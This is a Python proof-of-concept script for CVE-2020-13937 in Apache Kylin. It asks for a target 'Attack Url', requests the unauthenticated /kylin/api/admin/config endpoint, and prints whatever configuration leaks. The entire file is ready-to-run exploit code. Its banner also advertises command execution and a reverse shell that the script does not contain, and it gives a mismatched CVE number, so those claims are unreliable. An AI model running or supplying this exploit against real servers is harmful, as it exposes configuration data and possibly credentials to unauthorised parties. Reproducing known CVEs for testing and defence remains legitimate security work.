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    Apache Kylin未授权信息泄露 CVE-2020-13937.py
    1.81 KB / 2021-07-04 06:01:08
        #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    import requests
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
        print('+  \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha            \033[0m')
        print('+  \033[36m使用格式: python3 cve-2019-13937.py                                 \033[0m')
        print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:8983                            \033[0m')
        print('+  \033[36mCmd    >>> whoami(命令执行)                                         \033[0m')
        print('+  \033[36mCmd    >>> shell(反弹shell)                                        \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/kylin/api/admin/config"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
        }
        try:
            response = requests.get(url=vuln_url, headers=headers, timeout=20)
            if "config" in response.text:
                print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
            else:
                print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        except:
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)
    
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